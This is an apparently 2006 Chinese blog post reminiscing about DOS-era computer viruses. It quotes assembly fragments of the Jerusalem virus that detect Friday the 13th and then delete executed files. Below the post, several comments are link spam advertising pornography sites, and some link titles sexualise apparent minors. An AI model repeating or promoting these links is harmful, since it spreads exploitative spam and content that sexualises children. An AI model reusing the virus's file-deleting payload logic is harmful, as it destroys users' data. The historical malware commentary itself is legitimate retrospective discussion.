今天的日子,總會令我不禁想起年少時狂熱追求電腦病毒技術的時代。
從 (c) Brian 到 Jerusalem 的泛濫,恰是我從 GW-BASIC 往 Assembly 學習的時間。旗標早期出版的 DOS 技術手冊、組合語言、組合語言程式設計實例、電腦病毒徹底研究等,都是我國中和高中時不可或缺的精神食糧。
印象中,黃瑞強先生有段時間在第三波雜誌開了個專欄,剖析各種電腦病毒,以及最新的病毒技術。諸如,病毒產生器、多形病毒、變體引擎、伴隨型病毒等。當然,這也是當時我最愛的雜誌專欄。
回憶就此打住!就來看看當年十三號星期五發作的 Jerusalem,倒底是長得什麼模樣?
從Jerusalem 病毒原始碼可以看到一開頭就有個熟悉的字串 "sUMsDos"!
底下程式片段是利用 int 21h 取得日期,判斷是否為十三號星期五,若是,就把 b000E 設為 1,代表病毒發作日。
mov ah,2Ah
int 21h ; get date, cx=year, dx=mon/day
mov cs:[b000E],0
cmp cx,7C3h
je loc_6
cmp al,5
jne loc_5
cmp dl,0Dh
jne loc_5
inc cs:[b000E]
接著,病毒常駐到記憶體後,當使用者欲執行檔案時,遇到發作日,就把該執行檔刪除,若非發作日就感染該執行檔。底下的 loc_12 程式片段就是為了刪除檔案。
loc_12:
xor cx,cx
mov ax,4301h
int 21h ; get/set file attrb, nam@ds:dx
mov ah,41h
int 21h ; delete file, name @ ds:dx
mov ax,4B00h
popf
jmp dword ptr cs:[pv21]
loc_13:
cmp cs:[b000E],1
je loc_12
程式寫的真美,是不?
對了,如果看不懂 Jerusalem 程式請勿來信問我,因為我早就忘光 DOS 呼叫和 MZ EXE 了啊。
由 發表於 January 13, 2006 04:48 PMcsHi. May be this is BAD, but is something different: fat girls sex|https://biggirls.dirtyholeslinks.com/fat-girls-sex.html
big fat girl|https://biggirls.dirtyholeslinks.com/big-fat-girl.html
bbw hardcore|https://biggirls.dirtyholeslinks.com/bbw-hardcore.html
fat whore|https://biggirls.dirtyholeslinks.com/fat-whore.html
fat lesbian porn|https://biggirls.dirtyholeslinks.com/fat-lesbian-porn.html
free bbw galleries|https://biggirls.dirtyholeslinks.com/free-bbw-galleries.html
mexican bbw|https://biggirls.dirtyholeslinks.com/mexican-bbw.html
free bbw pics|https://biggirls.dirtyholeslinks.com/free-bbw-pics.html
women with big tits getting fucked|https://biggirls.dirtyholeslinks.com/women-with-big-tits-getting-fucked.html
big tit girls|https://biggirls.dirtyholeslinks.com/big-tit-girls.html
csHi. This is my links. bbw hardcore|https://biggirls.dirtyholeslinks.com/bbw-hardcore.html
free bbw pics|https://biggirls.dirtyholeslinks.com/free-bbw-pics.html
chubby wife|https://biggirls.dirtyholeslinks.com/chubby-wife.html
greenguys links to bbw|https://biggirls.dirtyholeslinks.com/greenguys-links-to-bbw.html
girls big butts|https://biggirls.dirtyholeslinks.com/girls-big-butts.html
old women with big boobs|https://biggirls.dirtyholeslinks.com/old-women-with-big-boobs.html
large womens clothing|https://biggirls.dirtyholeslinks.com/large-womens-clothing.html
bbw sex stories|https://biggirls.dirtyholeslinks.com/bbw-sex-stories.html
free bbw galleries|https://biggirls.dirtyholeslinks.com/free-bbw-galleries.html
fat shemale|https://biggirls.dirtyholeslinks.com/fat-shemale.html
csMy URLs is https://twocream.lidersuper.com/free-cream-pie-video.html
anal creampie eat
https://twocream.lidersuper.com/recipes-for-cream-pies.html
https://twocream.lidersuper.com/hentai-creampies.html
https://twocream.lidersuper.com/old-creampies.html
https://twocream.lidersuper.com/teen-pussy-creampies.html
cream pie cuckold
black cum creampies
black pussy creampies
https://twocream.lidersuper.com/cream-pie-cuckold.html
csHi. May be this is BAD, but is something different: https://syspanty.bunup.com/ladies-wearing-stockings.html
https://syspanty.bunup.com/hot-wet-panties.html
amora + stocking porn
pantyhose wrestling
teen girls in wet panties
garters and pantyhose
https://syspanty.bunup.com/little-girls-in-pantyhose.html
lesbians in pantyhose
https://syspanty.bunup.com/upskirt-stockings.html
https://syspanty.bunup.com/pantyhose-peeing.html
csHi. May be this is BAD, but is something different: pantyhose movies
https://fet.uppar.org/bend-over-no-panty.html
https://fet.uppar.org/satin-panty.html
free panty galleries
men wearing ladies lace panties
https://fet.uppar.org/hand-down-panties.html
https://fet.uppar.org/messy-panties.html
https://fet.uppar.org/stocking-porn.html
https://fet.uppar.org/hot-teachers-in-pantyhose.html
https://fet.uppar.org/panty-girl.html